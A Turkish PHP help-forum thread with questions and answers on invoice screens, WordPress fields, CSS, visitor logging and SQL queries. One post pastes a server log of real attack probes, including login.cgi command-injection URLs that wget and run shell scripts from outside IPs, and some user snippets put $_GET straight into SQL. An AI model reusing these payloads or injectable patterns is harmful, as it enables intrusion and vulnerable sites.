Arama butonu
Bu konudaki kullanıcılar: 1 misafir, 1 mobil kullanıcı
28
Cevap
1984
Tıklama
1
Öne Çıkarma
PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
S
7 yıl
Yüzbaşı
Konu Sahibi

Merhaba

Bu ay olabildiğince müsaitim, açılan konulara baktım epey tarihler geri kalmış bir çoğu ya çözülmüştür yada halen yanıtlanmamış olabilir.
O yüzden tek başlık altında yardımcı olmaya çalışacağım.

Saygılar



O
7 yıl
Yarbay

quote:

Orijinalden alıntı: Therdy

Bu mesaj silindi.
hangi yazılımdan bahsediyorsun wordpress mi ?



T
7 yıl
Binbaşı

merhaba
daha önce burda bir topic açmış idim

2 sayfalık bir örnek çalışmaya ihtiyacım var. fatura ekranı.
1. sayfada yeni fatura listesi olacak. ve ekle/düzelt/sil butonları ile.
bunlardan ekle/düzelt dediğimde ise 2. sayfaya gidip ya yanei stok kodları ekleyip, yada var olanları silip yenisini ekleyeceğim basit bir fatura oluşturma ekranına ihtiyacım var

misal. satıra elle elma yazacağım. yan kutuya 2 adet, fiyatı 3 lira ve en sağa kdv si ni elle yazıp satır toplamı otomatik olacak.
satır ekle ile devam edecek işlem. bu arada en alt sağda ise genel toplam şeklinde

yerli kaynak maalesef bulamadım. örnek kendim içine combo vs ekleyip kdv sini tablodan alabileceğim.
yabancı bir kaynak buldum. bootstrap ile yapmış.. acemi biri için çok gereksiz.

kendimi çok geliştiremedim maalesef. günlük iş yerinde işler vs

mysql veya pdo farketmez.. süsleme vs istemiyorum. maksadım kendimi geliştirmek

bu konuda yardımcı olman mümkün mü ?



T
7 yıl
Er

Merhaba,
Wordpress de bir Custom Post Type kodladım içerisine özel alan'da ekledim ancak eklediğim özel alana girdiğim değeri sayfama çekemiyorum. Yardımcı olursanız sevinirim.
Not: Önceki sorunumu çözdüm.





< Bu mesaj bu kişi tarafından değiştirildi Therdy -- 16 Ağustos 2018; 18:15:48 >

Ç
7 yıl
Çavuş

merhaba hocam eğer müsait olursanız yardım ederseniz çok sevinirim

benim sorum php değil ama hmtl ile ilgili umarım yardımcı olabilirsiniz

hocam 2 adet tablo oluşturdum üstteki tablodan alltaki tabloya link nasıl vereceğim konusunda yardım edebilirmisiniz

yani üstteki tabloda projeler adlı bir buton var butona tıklayınca sayfa değişmeden projeler alttaki tabloda gözükecek




Bu mesajda bahsedilenler: @ScorpionCoders
T
7 yıl
Er

Diğer sorunumu çözdüm teşekkür ederim.
Bir site yapıyorum responsive özelliğini yazılar küçültülen yere geliyor.Ancak resim ve buton kaymıyor.
Html:
<?php include 'header.php'; ?> 
<nav>
<a data-test="test" rel="nofollow" style="word-wrap: break-word; text-decoration: underline;" target="_blank" onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?module=pgdcode&messageId=134668355&url=action.php" data-href="action.php">Sign İn</a>
</nav>
</header>
</section>

<img id="banner" src="http://i.hizliresim.com/LD00Vz.png" >
<center>



<p style="font-size: 10vw" ><font size="6" color="#403b3b">
<b>Hoşgeldin</b></font></p>
<br>
<p style="font-size: 10vw; " ><font size="4" color="#333" >
<b>İçeride Neler var neler<br> Görmek istiyoran tıkla ve devam <br> et. </center></b></font></p>


<a class="buttons" href="planform.php"><p></p><font face="arial" size="5" color="white">
<center><b>Gör </b></center></font></p> </a>



</center>

</div>

Css:
.sign { 
font-style: bold;
text-decoration: none;
color: black;
font-weight: 400;
padding: 13px 30px;


font-size: 20;
}
.buttons {

background-color: #e50914;
text-decoration: none;
color: #FFF;
font-weight: 30;
padding: 10px 10px;
border-radius: 3px;
width: 400px;
height: 30px;
margin: auto;
position: absolute;
top: 400; right: 400; bottom: 0; left: 400;;
font-size: 20;
}
#banner {

width: 80px;
height:80px;

font-size: 10vw;



margin-left:640;
margin-top:190;
}

Teşekkürler


Bu mesaja 1 cevap geldi.
S
7 yıl
Yüzbaşı
Konu Sahibi

Merhaba

Responsive olacak sayfayı görsel olarak atar mısınız.




Bu mesajda bahsedilenler: @Therdy
T
7 yıl
Teğmen

PHP'de kolay yoldan güvenli site yapmak mümkün müdür?
Mümkünse nelere dikkat etmek lazım?
Deneme amaçlı site açtım,şu an hiç kullanıcısı yok ama siteye sürekli sitenin PHP tabanlı olduğunu varsayan saldırılar geliyor. "setup.php" dosyasına falan erişmeye çalışıyorlar.


Bu mesaja 1 cevap geldi.
S
7 yıl
Yüzbaşı
Konu Sahibi

Merhaba

Genelde her projemde yaparım,
Siteyi belli bir süre şu şekilde takip etmenizi öneriyorum.

Bir tablonuz olsun,

guest
id
request_uri
http_referer
user_agent
ip_address
data *mediumtext
date *datetime


 
<?php
// ...
// mysqli bağlantısı sonrasına
$stmt = $db->prepare("INSERT INTO guest(request_uri, http_referer, ip_address, user_agent, data, date) VALUES (?, ?, ?, ?, ?, ?)");
$stmt->bind_param('ssssss', $request_uri, $http_referer, $ip_address, $user_agent, $data, $date);
$request_uri = $_SERVER['REQUEST_URI'];
$http_referer = (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : NULL);
$ip_address = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$data = json_encode(array('POST' => $_POST, 'GET' => $_GET));
$date = date('Y-m-d H:i:s');
$stmt->execute();


Bu tabloda biraz kayıtlar biriksin, klasik örümcekler mi yoksa basit sql injection çalışmaları mı vs çok rahat anlayabilirsiniz.

SQL Injection, XSS açıkları vs gibi forumda çok sayıda hali hazırda fonksiyonlarda mevcut

Saygılarımla


Bu mesaja 1 cevap geldi.

Bu mesajda bahsedilenler: @tatankalahari
W
7 yıl
Er

merhaba ScorpionCoders rica etsem soyle bir sorunum var mumkunse bilgini paylasmani rica ediyorum link verdim.





index sayfasında div icinde diğer sayfaları açmak



T
7 yıl
Teğmen

Benzer birşeyi ben de yaptım ve siteye gelen istekler beni php'nin güvenliği konusunda şüpheye düşürdü. Siteyi php'de programlamadım ama servera gelen isteklerden bazıları şunlar:

IP İstek Tarih ve Saat

::ffff:185.143.223.106 /HNAP1/ 2018-09-02T04:30:32.265Z
::ffff:37.53.71.1 /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ 2018-09-02T02:13:37.053Z
::ffff:104.238.183.39 /preview.php 2018-09-01T18:03:29.033Z
::ffff:5.8.54.27 /?XDEBUG_SESSION_START=phpstorm 2018-09-01T17:26:07.104Z
::ffff:5.188.210.12http://5.188.210.12/echo.php 2018-09-01T08:59:49.518Z
::ffff:42.117.109.230 /login.cgi?cli=aa%20aa%27;wget%20http://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ 2018-09-01T11:16:23.783Z
::ffff:186.58.123.227 /GponForm/diag_Form?images/ 2018-08-31T07:05:46.037Z
::ffff:183.131.83.112 /manager/html 2018-08-31T07:19:20.695Z
::ffff:125.65.112.8 /search/www.ymwears.cn 2018-08-30T05:48:48.243Z
::ffff:27.137.1.29 /login.cgi?cli=aa%20aa%27;wget%20http://212.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ 2018-08-31T07:54:49.907Z
::ffff:5.255.250.168 /SdKeZ/ 2018-08-31T00:17:45.251Z
::ffff:180.97.106.39http://180.163.113.82/check_proxy 2018-08-29T18:15:12.586Z
::ffff:124.236.175.106 /fdsrwe 2018-08-28T09:56:22.822Z




Bu mesajda bahsedilenler: @ScorpionCoders
A
7 yıl
Yarbay

Merhaba emeğiniz için teşekkürler,

Mysql veritabanından php ile ürün çekiyorum, çalışma şekli;

ürün tablosunda ürünler kısmı yer alıyor
resim tablosunda ürün id ekleyerek ürüne resim bağlanıyor.

Fakat ürün tablosuna bağlı resim tablosunda her hangi bir kayıt yoksa; "bos.jpg" dosyasını php de ayarlayamıyorum, çözüm öneriniz ne olur ?

if empty vb. çok denedim ama nafile


Bu mesaja 1 cevap geldi.
S
7 yıl
Yüzbaşı
Konu Sahibi

Merhaba

Eğer yanlış anlamadıysam, tablodaki örneğin image

VARCHAR 255, VE NULL seçeneği işaretli olsun.

<img src="<?php echo (is_null($row->image) ? 'bos.jpg' : $row->image); ?>" />

Bir diğer alternatif iste,

image fieldine veritabanında default değerini "bos.jpg" olarak yapın. kayıt ilk oluşturulduğunda bos.jpg şeklinde değer yazılsın.


Bu mesaja 1 cevap geldi.

Bu mesajda bahsedilenler: @hlttmz
H
7 yıl
Er

Selamlar değerli arkadaşlar programlamaya yeni başladım ve aşağıdaki sorunla karşılaştım, yardımlarınızı bekliyorum.

Sorun: Oluşturduğum php kodlarında TC No içinde geçen herhangi bir rakamı text box a (input) girdiğimde tek rakamın tuttuğu tüm kayıtları getiriyor, ben istiyorum ki kişi tc numarasını tam girsin ve doğruysa ilgili kişinin adı soyadı, tc si cinsiyeti ve karne numarasının gelmesini istiyorum.

Detaylar:
phpmyadmin üzerinde bir db oluşturdum. aşağıdaki kodlarda bu dbadi diye yazdım


DB üzerinde oluşturulan Tablo adı

tblkullanici


Tabloda bulunan sütunların isimleri

tcno, adisoyadi, cinsiyeti, karneno,

bu tablo içinde 4 tane sütun oluşturdum (sütun sayısını daha sonra arttırabilirim.)


Yaptığım uygulamaya ait kodlar aşağıdaki gibidir.

 

<?php

mysql_connect("localhost","dbkullanici","password","dbadi") or die ("Bağlantı Başarısız");

mysql_select_db("sertifika") or die ("Bağlantı Başarısız");

$output = ' ';

//collect

if(isset($_POST['search'])){

$searchq = $_POST['search'];

$searchq = preg_replace ("#[^0-9 a-z]#i", "", $searchq);

$query = mysql_query("SELECT * FROM tblkullanici WHERE tcno LIKE '%$searchq%'") or die ("Arama Yapılamadı");

$count = mysql_num_rows ($query);

if ($count == 0) {

$output = 'Aranan Kriterde Kayıt Bulunamadı';

} else{

while ($row= mysql_fetch_array($query)){

$tno = $row['tcno'];

$adi = $row['adisoyadi'];



$output .= '<div>'.$tno.' '.$adi.'</div>';

}

}



}

?>



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Untitled Document</title>

</head>

<body>

<form action="index.php" method="post"/>

<input type="text" name="search" placeholder="Tc Kimlik No Yazınız..."/>

<input type="submit" value=">>"/>

</form>

<?php print ("$output");



?>

</body>

</html>



A
7 yıl
Yarbay

Hocam çalışma şekliyle ilgili biraz detaya inim. örnek tablo;

Ürün için tablo "urun"
ID______Ürün Adı
1-------ABC
2-------SQL
3-------APL


Resim İçin tablo "resim"
ID_____resim_________urun_id
1------abc.jpg-------1
2------sql.jpg-------2
3------sql2.jpg------2
4------abc2.jpg------1




Mesela 3. APL ürününde resim tablosunda urun_id e bağlı her hangi bir değer yok. Olmadığı için bos.jpg getiremiyor.


Mevcut php kodu da bu şekilde


$urunler = $db->sorgu("SELECT * FROM urun WHERE kategori_id='$_GET[id]' or marka_id='$_GET[id]' ORDER BY `sira` ASC");
if($db->say($urunler) < 1) {
echo'<p>Kayıtlı ürün bulunmamaktadır.</p>';
} else {
while ($oku = $db->cek($urunler)) {
echo'<div>';
$resimsorgu = $db->sorgu("SELECT * FROM dosya WHERE urun_id = '".$oku[id]."' ORDER BY id limit 1");
while ($adresoku = $db->cek($resimsorgu)){
$uyesor = mysql_query("SELECT * FROM dosya where urun_id='".$oku[id]."'");
$sorgu_sayisi = mysql_num_rows($uyesor);
if (!empty($oku[id]==$adresoku[urun_id])) {
echo'<h5><a data-test="test" rel="nofollow" style="word-wrap: break-word; text-decoration: underline;" target="_blank" onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?module=pgdcode&messageId=134882981&url=urunler?duzenle='.$oku[id].'" data-href="urunler?duzenle='.$oku[id].'"><img src="/images/'.$adresoku[resim].'" height="185" width="185" class="img-responsive"></a></h5>';
}
else {
echo'<a data-test="test" rel="nofollow" style="word-wrap: break-word; text-decoration: underline;" target="_blank" onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?module=pgdcode&messageId=134882981&url=urunler?duzenle='.$oku[id].'" data-href="urunler?duzenle='.$oku[id].'"><img src="/images/bos.jpg" class="img-responsive" width="130" height="130"></a>';
}
}





< Bu mesaj bu kişi tarafından değiştirildi armax -- 7 Eylül 2018; 17:52:27 >
Bu mesaja 1 cevap geldi.

Bu mesajda bahsedilenler: @ScorpionCoders
S
7 yıl
Yüzbaşı
Konu Sahibi

Şunu dener misiniz


if (isset($_REQUEST['id'])) {
$stmt = $db->prepare("SELECT id, (SELECT resim FROM dosya WHERE urun_id = urun.id LIMIT 1) AS resim FROM urun WHERE (kategori_id = ? OR marka_id = ?) ORDER BY sira ASC");
$stmt->bind_param('ii', $categoryId, $brandId);
$categoryId = (int) $_GET['id'];
$brandId = (int) $_GET['id'];
$stmt->execute();
$result = $stmt->get_result();
if ($result) {
while ($row = $result->fetch_object()) {
echo '<a onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?url=urunler?duzenle=' . $row->id . '" data-href="urunler?duzenle=' . $row->id . '" >';
echo '<img src="/images/' . ($row->resim ? $row->resim : 'bos.jpg') . '" class="img-responsive" width="130" height="130">';
echo '</a>';
}
} else {
echo '<p>Kayıtlı ürün bulunmamaktadır.</p>';
}
}





< Bu mesaj bu kişi tarafından değiştirildi ScorpionCoders -- 7 Eylül 2018; 19:58:55 >
Bu mesaja 1 cevap geldi.

Bu mesajda bahsedilenler: @hlttmz
A
7 yıl
Yarbay

hocam yapamadım maalesef

Fatal error: Call to undefined method db::prepare()

hatasını aşamadım. böyle düzenledim ama;
 
if (isset($_REQUEST['id'])) {
$stmt = $db->prepare("SELECT id, (SELECT * FROM dosya WHERE urun_id = '$_GET[id]' LIMIT 1) AS * FROM urun WHERE (kategori_id = '$_GET[id]' OR marka_id = '$_GET[id]') ORDER BY sira ASC");
$stmt->bind_param('ii', $categoryId, $brandId);
$categoryId = (int) $_GET['id'];
$brandId = (int) $_GET['id'];
$stmt->execute();
$result = $stmt->get_result();
if ($result) {
while ($row = $result->fetch_object()) {
echo '<a href="urunler?duzenle=' . $row->id . '" data-href="urunler?duzenle=' . $row->id . '" >';
echo '<img src="/images/' . ($row->dosya ? $row->dosya : 'bos.jpg') . '" class="img-responsive" width="130" height="130">';
echo '</a>';
}
} else {
echo '<p>Kayıtlı ürün bulunmamaktadır.</p>';
}
}


Bu mesaja 1 cevap geldi.

Bu mesajda bahsedilenler: @ScorpionCoders
S
7 yıl
Yüzbaşı
Konu Sahibi

Şöyle değiştirelim.

if (isset($_REQUEST['id'])) { 
$categoryId = (int) $_GET['id'];
$brandId = (int) $_GET['id'];
$query = $db->query("SELECT id, (SELECT dosya FROM dosya WHERE urun_id = urun.id LIMIT 1) AS dosya FROM urun WHERE (kategori_id = {$categoryId} OR marka_id = {$brandId}) ORDER BY sira ASC");
if ($query->num_rows > 0) {
while ($row = $query->fetch_object()) {
echo '<a onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?url=urunler?duzenle=' . $row->id . '" data-href="urunler?duzenle=' . $row->id . '" >';
echo '<img src="/images/' . ($row->dosya ? $row->dosya : 'bos.jpg') . '" class="img-responsive" width="130" height="130">';
echo '</a>';
}
} else {
echo '<p>Kayıtlı ürün bulunmamaktadır.</p>';
}
}




Bu mesajda bahsedilenler: @hlttmz
B
7 yıl
Binbaşı

Merhabalar.Xampp'ta Apache server ve MySQL'i açıyorum.Apache serverda sıkıntı yok.Fakat localhost/phpmyadmin veya xampp üzerinden admin butonuna tıkladığımda veritabanına erişemiyorum.Ne yapmam lazım?



< Bu ileti mobil sürüm kullanılarak atıldı >